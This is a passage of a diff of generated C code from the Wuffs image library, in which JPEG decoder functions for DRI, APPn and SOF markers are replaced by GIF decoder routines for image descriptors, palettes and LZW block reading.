((uint64_t)(*iop_a_src++)) << num_bits_0; + if (num_bits_0 == 8) { +- t_0 = ((uint16_t)(*scratch >> 48)); ++ t_0 = ((uint32_t)(*scratch)); + break; + } + num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } + } +- self->private_impl.f_restart_interval = t_0; ++ self->private_impl.f_frame_rect_x0 = t_0; + } +- if (self->private_impl.f_sof_marker == 0u) { +- self->private_impl.f_saved_restart_interval = self->private_impl.f_restart_interval; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_id_part0.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ self->private_impl.f_frame_rect_y0 = t_1; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_id_part0.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 8) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ self->private_impl.f_frame_rect_x1 = t_2; ++ } ++ self->private_impl.f_frame_rect_x1 += self->private_impl.f_frame_rect_x0; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_id_part0.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 8) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ self->private_impl.f_frame_rect_y1 = t_3; ++ } ++ self->private_impl.f_frame_rect_y1 += self->private_impl.f_frame_rect_y0; ++ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; ++ self->private_impl.f_dst_y = self->private_impl.f_frame_rect_y0; ++ if ((self->private_impl.f_num_decoded_frame_configs_value == 0u) && ! self->private_impl.f_quirks[4u]) { ++ self->private_impl.f_width = wuffs_base__u32__max(self->private_impl.f_width, self->private_impl.f_frame_rect_x1); ++ self->private_impl.f_height = wuffs_base__u32__max(self->private_impl.f_height, self->private_impl.f_frame_rect_y1); + } + + goto ok; + ok: +- self->private_impl.p_decode_dri[0] = 0; ++ self->private_impl.p_decode_id_part0 = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_dri[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_id_part0 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -42801,18 +42970,24 @@ wuffs_jpeg__decoder__decode_dri( + return status; + } + +-// -------- func jpeg.decoder.decode_appn ++// -------- func gif.decoder.decode_id_part1 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_appn( +- wuffs_jpeg__decoder* self, ++wuffs_gif__decoder__decode_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- uint8_t a_marker) { ++ wuffs_base__pixel_blend a_blend) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c8 = 0; +- uint32_t v_c32 = 0; ++ uint8_t v_flags = 0; ++ uint8_t v_which_palette = 0; ++ uint32_t v_num_palette_entries = 0; ++ uint32_t v_i = 0; ++ uint32_t v_argb = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_lw = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -42825,184 +43000,136 @@ wuffs_jpeg__decoder__decode_appn( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_appn[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_id_part1; ++ if (coro_susp_point) { ++ v_which_palette = self->private_data.s_decode_id_part1.v_which_palette; ++ v_num_palette_entries = self->private_data.s_decode_id_part1.v_num_palette_entries; ++ v_i = self->private_data.s_decode_id_part1.v_i; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- do { +- if (a_marker == 224u) { +- if (self->private_impl.f_payload_length >= 5u) { +- self->private_impl.f_payload_length -= 5u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_c32 = t_0; +- } +- if (v_c32 != 1179207242u) { +- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 1u)); +- break; +- } +- { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_flags = t_0; ++ } ++ if (((uint8_t)(v_flags & 64u)) != 0u) { ++ self->private_impl.f_interlace = 4u; ++ } else { ++ self->private_impl.f_interlace = 0u; ++ } ++ v_which_palette = 1u; ++ if (((uint8_t)(v_flags & 128u)) != 0u) { ++ v_num_palette_entries = (((uint32_t)(1u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); ++ v_i = 0u; ++ while (v_i < v_num_palette_entries) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_decode_id_part1.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c8 = t_1; +- } +- self->private_impl.f_is_jfif = (v_c8 == 0u); +- } +- } else if (a_marker == 238u) { +- if (self->private_impl.f_payload_length >= 12u) { +- self->private_impl.f_payload_length -= 12u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } +- } +- v_c32 = t_2; +- } +- if (v_c32 != 1651467329u) { +- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 8u)); +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } +- v_c32 = t_3; +- } +- if ((255u & v_c32) != 101u) { +- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 4u)); +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 24) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ uint64_t* scratch = &self->private_data.s_decode_id_part1.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 16) { ++ t_1 = ((uint32_t)(*scratch >> 40)); ++ break; + } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } +- v_c32 = t_4; +- } +- if ((v_c32 >> 24u) == 0u) { +- self->private_impl.f_is_adobe = 1u; +- } else { +- self->private_impl.f_is_adobe = 2u; + } ++ v_argb = t_1; + } ++ v_argb |= 4278190080u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; + } +- } while (0); +- self->private_data.s_decode_appn[0].scratch = self->private_impl.f_payload_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_decode_appn[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_appn[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ while (v_i < 256u) { ++ self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; ++ } ++ } else if (self->private_impl.f_quirks[6u] && ! self->private_impl.f_has_global_palette) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_palette); ++ goto exit; ++ } else if (self->private_impl.f_gc_has_transparent_index) { ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_palettes[1u], 1024), wuffs_base__make_slice_u8(self->private_data.f_palettes[0u], 1024)); ++ } else { ++ v_which_palette = 0u; + } +- iop_a_src += self->private_data.s_decode_appn[0].scratch; +- self->private_impl.f_payload_length = 0u; ++ if (self->private_impl.f_gc_has_transparent_index) { ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 0u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 1u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 2u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 3u)] = 0u; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(2198077448u), ++ wuffs_base__make_slice_u8(self->private_data.f_palettes[v_which_palette], 1024), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ if (self->private_impl.f_ignored_but_affects_benchmarks) { ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_lw = t_2; ++ } ++ if (v_lw > 8u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); ++ goto exit; ++ } ++ self->private_impl.f_lzw_pending_literal_width_plus_one = ((uint32_t)(((uint8_t)(1u + v_lw)))); ++ self->private_impl.f_ignored_but_affects_benchmarks = true; + +- goto ok; + ok: +- self->private_impl.p_decode_appn[0] = 0; ++ self->private_impl.p_decode_id_part1 = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_appn[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_id_part1 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_id_part1.v_which_palette = v_which_palette; ++ self->private_data.s_decode_id_part1.v_num_palette_entries = v_num_palette_entries; ++ self->private_data.s_decode_id_part1.v_i = v_i; + + goto exit; + exit: +@@ -43013,30 +43140,29 @@ wuffs_jpeg__decoder__decode_appn( + return status; + } + +-// -------- func jpeg.decoder.decode_sof ++// -------- func gif.decoder.decode_id_part2 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_sof( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { ++wuffs_gif__decoder__decode_id_part2( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_comp_h = 0; +- uint8_t v_comp_v = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- bool v_has_h24 = false; +- bool v_has_h3 = false; +- bool v_has_v24 = false; +- bool v_has_v3 = false; +- uint32_t v_upper_bound = 0; +- uint64_t v_wh0 = 0; +- uint64_t v_wh1 = 0; +- uint64_t v_wh2 = 0; +- uint64_t v_wh3 = 0; +- uint64_t v_progressive = 0; ++ uint64_t v_block_size = 0; ++ bool v_need_block_size = false; ++ uint32_t v_n_copied = 0; ++ uint64_t v_n_compressed = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint64_t v_mark = 0; ++ wuffs_base__status v_copy_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -43049,269 +43175,185 @@ wuffs_jpeg__decoder__decode_sof( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_sof[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_id_part2; + if (coro_susp_point) { +- v_i = self->private_data.s_decode_sof[0].v_i; ++ v_block_size = self->private_data.s_decode_id_part2.v_block_size; ++ v_need_block_size = self->private_data.s_decode_id_part2.v_need_block_size; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_payload_length < 6u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= 6u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c == 8u) { +- } else if (v_c == 12u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_12_bits); +- goto exit; +- } else if (v_c == 16u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_16_bits); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_sof[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- while (true) { ++ wuffs_gif__decoder__lzw_init(self); ++ v_need_block_size = true; ++ label__outer__continue:; ++ while (true) { ++ if (v_need_block_size) { ++ v_need_block_size = false; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_sof[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 8) { +- t_1 = ((uint32_t)(*scratch >> 48)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); ++ uint64_t t_0 = *iop_a_src++; ++ v_block_size = t_0; + } + } +- self->private_impl.f_height = t_1; +- } +- if (self->private_impl.f_height == 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_implicit_height); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_sof[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_sof[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 8) { +- t_2 = ((uint32_t)(*scratch >> 48)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } ++ if (v_block_size == 0u) { ++ break; + } +- self->private_impl.f_width = t_2; +- } +- if (self->private_impl.f_width == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); + } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if ((v_c == 0u) || (v_c > 4u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } else if (v_c == 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_color_model); +- goto exit; +- } +- self->private_impl.f_num_components = ((uint32_t)(v_c)); +- if (self->private_impl.f_payload_length != (3u * self->private_impl.f_num_components)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_payload_length = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_num_components) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- self->private_impl.f_components_c[v_i] = t_4; ++ if (self->private_impl.f_compressed_ri == self->private_impl.f_compressed_wi) { ++ self->private_impl.f_compressed_ri = 0u; ++ self->private_impl.f_compressed_wi = 0u; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ while (self->private_impl.f_compressed_wi <= 3841u) { ++ v_n_compressed = wuffs_base__u64__min(v_block_size, ((uint64_t)(io2_a_src - iop_a_src))); ++ if (v_n_compressed <= 0u) { ++ break; + } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- v_comp_h = (v_c >> 4u); +- v_comp_v = (v_c & 15u); +- if ((v_comp_h == 0u) || +- (v_comp_h > 4u) || +- (v_comp_v == 0u) || +- (v_comp_v > 4u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_components_h[v_i] = v_comp_h; +- if (self->private_impl.f_max_incl_components_h < self->private_impl.f_components_h[v_i]) { +- self->private_impl.f_max_incl_components_h = self->private_impl.f_components_h[v_i]; +- } +- self->private_impl.f_components_v[v_i] = v_comp_v; +- if (self->private_impl.f_max_incl_components_v < self->private_impl.f_components_v[v_i]) { +- self->private_impl.f_max_incl_components_v = self->private_impl.f_components_v[v_i]; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_n_copied = wuffs_private_impl__io_reader__limited_copy_u32_to_slice( ++ &iop_a_src, io2_a_src,((uint32_t)(v_n_compressed)), wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, self->private_impl.f_compressed_wi, 4096)); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_wi, ((uint64_t)(v_n_copied))); ++ wuffs_private_impl__u64__sat_sub_indirect(&v_block_size, ((uint64_t)(v_n_copied))); ++ if (v_block_size > 0u) { ++ break; + } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if (v_c >= 4u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ v_need_block_size = true; ++ break; ++ } ++ v_block_size = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); ++ iop_a_src += 1u; + } +- self->private_impl.f_components_tq[v_i] = v_c; +- v_j = 0u; +- while (v_j < v_i) { +- if (self->private_impl.f_components_c[v_j] == self->private_impl.f_components_c[v_i]) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ while (true) { ++ if ((self->private_impl.f_compressed_ri > self->private_impl.f_compressed_wi) || (self->private_impl.f_compressed_wi > 4096u)) { ++ status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); + goto exit; + } +- v_j += 1u; +- } +- v_i += 1u; +- } +- if (self->private_impl.f_num_components == 1u) { +- self->private_impl.f_max_incl_components_h = 1u; +- self->private_impl.f_max_incl_components_v = 1u; +- self->private_impl.f_components_h[0u] = 1u; +- self->private_impl.f_components_v[0u] = 1u; +- } else { +- v_has_h24 = false; +- v_has_h3 = false; +- v_has_v24 = false; +- v_has_v3 = false; +- v_i = 0u; +- while (v_i < self->private_impl.f_num_components) { +- v_has_h24 = (v_has_h24 || (self->private_impl.f_components_h[v_i] == 2u) || (self->private_impl.f_components_h[v_i] == 4u)); +- v_has_h3 = (v_has_h3 || (self->private_impl.f_components_h[v_i] == 3u)); +- v_has_v24 = (v_has_v24 || (self->private_impl.f_components_v[v_i] == 2u) || (self->private_impl.f_components_v[v_i] == 4u)); +- v_has_v3 = (v_has_v3 || (self->private_impl.f_components_v[v_i] == 3u)); +- v_i += 1u; +- } +- if ((v_has_h24 && v_has_h3) || (v_has_v24 && v_has_v3)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_fractional_sampling); +- goto exit; +- } +- if (self->private_impl.f_num_components == 4u) { +- self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe < 2u); +- } else { +- if (self->private_impl.f_is_jfif) { +- self->private_impl.f_is_rgb_or_cmyk = false; +- } else if 